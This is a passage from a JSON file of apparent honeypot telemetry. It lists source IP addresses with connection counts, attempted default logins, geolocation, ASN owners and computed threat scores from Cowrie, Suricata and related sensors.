        "Suricata": 14,
        "Cowrie": 6,
        "H0neytr4p": 2,
        "Honeytrap": 1
      }
    },
    "5.37.140.209": {
      "attack_count": 8,
      "first_seen": "2026-04-26T17:15:29.295Z",
      "last_seen": "2026-04-26T17:21:51.552Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:15:29.295000+00:00",
        "last_seen_30d": "2026-04-26T17:32:51.908000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "92.118.39.235": {
      "attack_count": 8,
      "first_seen": "2026-04-27T22:04:31.765Z",
      "last_seen": "2026-04-30T07:04:02.476Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T22:04:31.765000+00:00",
        "last_seen_30d": "2026-04-30T07:05:04.043000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "176.65.132.45": {
      "attack_count": 7,
      "first_seen": "2026-04-30T18:18:03.287Z",
      "last_seen": "2026-04-30T18:18:05.700Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "config"
      ],
      "passwords_attempted": [
        "config"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:18:03.287000+00:00",
        "last_seen_30d": "2026-04-30T18:19:13.121000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "51.222.46.31": {
      "attack_count": 6,
      "first_seen": "2026-04-28T20:49:09.943Z",
      "last_seen": "2026-04-28T20:49:16.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:49:09.943000+00:00",
        "last_seen_30d": "2026-04-28T20:50:21.902000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "135.232.224.117": {
      "attack_count": 5,
      "first_seen": "2026-04-13T11:12:58.938Z",
      "last_seen": "2026-04-13T11:13:00.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T07:54:48.193000+00:00",
        "last_seen_30d": "2026-04-13T11:14:03.090000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "43.110.32.33": {
      "attack_count": 5,
      "first_seen": "2026-04-06T10:00:07.509Z",
      "last_seen": "2026-04-09T00:16:29.192Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 15.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 18,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T06:58:30.192000+00:00",
        "last_seen_30d": "2026-04-18T02:01:01.703000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 5,
        "Honeytrap": 5
      }
    },
    "104.152.52.64": {
      "attack_count": 4,
      "first_seen": "2026-04-20T06:47:35.660Z",
      "last_seen": "2026-04-20T06:47:36.099Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T06:47:35.660000+00:00",
        "last_seen_30d": "2026-04-20T06:48:38.114000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "106.227.75.197": {
      "attack_count": 4,
      "first_seen": "2026-04-21T21:56:14.689Z",
      "last_seen": "2026-04-21T21:56:15.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jiaxing",
      "asn": 149837,
      "as_org": "China Telecom",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T21:56:14.689000+00:00",
        "last_seen_30d": "2026-04-21T21:57:23.233000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "111.92.243.104": {
      "attack_count": 4,
      "first_seen": "2026-04-21T03:28:10.571Z",
      "last_seen": "2026-04-21T03:28:11.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 397,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T01:39:31.817000+00:00",
        "last_seen_30d": "2026-04-21T05:40:19.268000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 393,
        "Cowrie": 4
      }
    },
    "123.141.253.53": {
      "attack_count": 4,
      "first_seen": "2026-04-26T14:06:37.667Z",
      "last_seen": "2026-04-30T06:07:35.019Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T07:38:19+00:00",
        "last_seen_30d": "2026-04-30T06:08:43.885000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 10,
        "Cowrie": 4
      }
    },
    "194.187.178.220": {
      "attack_count": 4,
      "first_seen": "2026-04-17T09:01:28.751Z",
      "last_seen": "2026-04-17T09:01:29.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-07T19:39:57+00:00",
        "last_seen_30d": "2026-04-17T09:02:32.696000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "195.123.219.34": {
      "attack_count": 4,
      "first_seen": "2026-04-27T06:52:06.207Z",
      "last_seen": "2026-04-27T06:52:07.497Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 21100,
      "as_org": "Green Floid LLC",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T04:17:35.585000+00:00",
        "last_seen_30d": "2026-04-29T00:18:31.775000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 4
      }
    },
    "198.235.24.84": {
      "attack_count": 4,
      "first_seen": "2026-04-15T04:57:30.182Z",
      "last_seen": "2026-04-15T04:57:33.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T06:57:43+00:00",
        "last_seen_30d": "2026-04-30T20:47:29.579000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 43,
        "Miniprint": 10,
        "Cowrie": 4,
        "CitrixHoneypot": 1
      }
    },
    "223.247.153.211": {
      "attack_count": 4,
      "first_seen": "2026-04-23T03:30:33.317Z",
      "last_seen": "2026-04-23T03:32:33.322Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140527,
      "as_org": "China Telecom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T03:30:33.317000+00:00",
        "last_seen_30d": "2026-04-23T03:42:34.233000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "35.216.201.9": {
      "attack_count": 4,
      "first_seen": "2026-04-22T18:57:39.024Z",
      "last_seen": "2026-04-22T18:57:40.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 30,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:29:25.316000+00:00",
        "last_seen_30d": "2026-04-30T22:38:28.626000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Ciscoasa": 10,
        "Cowrie": 4,
        "Dionaea": 3,
        "ElasticPot": 2
      }
    },
    "40.76.250.51": {
      "attack_count": 4,
      "first_seen": "2026-04-27T12:06:16.586Z",
      "last_seen": "2026-04-27T12:06:27.236Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 70.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T08:27:38+00:00",
        "last_seen_30d": "2026-04-29T12:58:52.323000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "58.243.126.202": {
      "attack_count": 4,
      "first_seen": "2026-04-19T11:11:15.511Z",
      "last_seen": "2026-04-19T11:11:15.980Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T11:11:15.511000+00:00",
        "last_seen_30d": "2026-04-19T11:12:21.885000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "65.49.1.17": {
      "attack_count": 4,
      "first_seen": "2026-04-08T14:13:53.734Z",
      "last_seen": "2026-04-08T14:13:57.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 61.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 24,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T04:22:04+00:00",
        "last_seen_30d": "2026-04-25T03:49:05.014000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 5,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "78.110.79.128": {
      "attack_count": 4,
      "first_seen": "2026-04-08T05:02:38.877Z",
      "last_seen": "2026-04-14T07:55:47.286Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bahrain",
      "country_code": "BH",
      "city": "Manama",
      "asn": 39273,
      "as_org": "Kalaam Telecom Bahrain B.S.C.",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:02:38.877000+00:00",
        "last_seen_30d": "2026-04-14T07:56:56.592000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "8.208.16.103": {
      "attack_count": 4,
      "first_seen": "2026-04-26T19:50:56.067Z",
      "last_seen": "2026-04-27T02:03:01.354Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:50:56.067000+00:00",
        "last_seen_30d": "2026-04-27T02:04:09.521000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "8.211.162.45": {
      "attack_count": 4,
      "first_seen": "2026-04-02T02:44:20.018Z",
      "last_seen": "2026-04-05T11:16:18.675Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T02:44:20.018000+00:00",
        "last_seen_30d": "2026-04-26T23:25:20.177000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "H0neytr4p": 24,
        "Suricata": 12,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "39.152.12.236": {
      "attack_count": 3,
      "first_seen": "2026-04-27T09:24:13.187Z",
      "last_seen": "2026-04-27T09:25:34.920Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56044,
      "as_org": "China Mobile communications corporation",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T09:24:13.187000+00:00",
        "last_seen_30d": "2026-04-27T09:26:42.895000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "65.49.1.172": {
      "attack_count": 3,
      "first_seen": "2026-04-20T04:00:39.101Z",
      "last_seen": "2026-04-20T04:00:39.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T01:25:18+00:00",
        "last_seen_30d": "2026-04-30T13:38:00.805000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 187,
        "Honeytrap": 104,
        "Mailoney": 6,
        "Adbhoney": 4,
        "ConPot": 4,
        "Cowrie": 3,
        "Dionaea": 3,
        "Miniprint": 1
      }
    },
    "65.49.20.69": {
      "attack_count": 3,
      "first_seen": "2026-04-05T11:16:50.727Z",
      "last_seen": "2026-04-05T11:16:50.729Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 449,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T09:10:57+00:00",
        "last_seen_30d": "2026-04-30T13:24:46.559000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 285,
        "Honeytrap": 144,
        "H0neytr4p": 11,
        "Dionaea": 4,
        "Cowrie": 3,
        "Adbhoney": 2
      }
    },
    "103.173.204.26": {
      "attack_count": 2,
      "first_seen": "2026-04-30T17:09:50.348Z",
      "last_seen": "2026-04-30T17:10:20.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 146940,
      "as_org": "Natsav",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:09:50.348000+00:00",
        "last_seen_30d": "2026-04-30T17:11:26.171000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "114.33.12.13": {
      "attack_count": 2,
      "first_seen": "2026-04-10T16:23:11.161Z",
      "last_seen": "2026-04-10T16:23:11.319Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:23:11.161000+00:00",
        "last_seen_30d": "2026-04-10T16:24:16.932000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.96.44.198": {
      "attack_count": 2,
      "first_seen": "2026-04-19T13:21:01.328Z",
      "last_seen": "2026-04-19T13:21:14.419Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T13:21:01.328000+00:00",
        "last_seen_30d": "2026-04-19T13:22:21.195000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.105.69.220": {
      "attack_count": 2,
      "first_seen": "2026-04-24T10:46:54.952Z",
      "last_seen": "2026-04-24T10:47:07.251Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
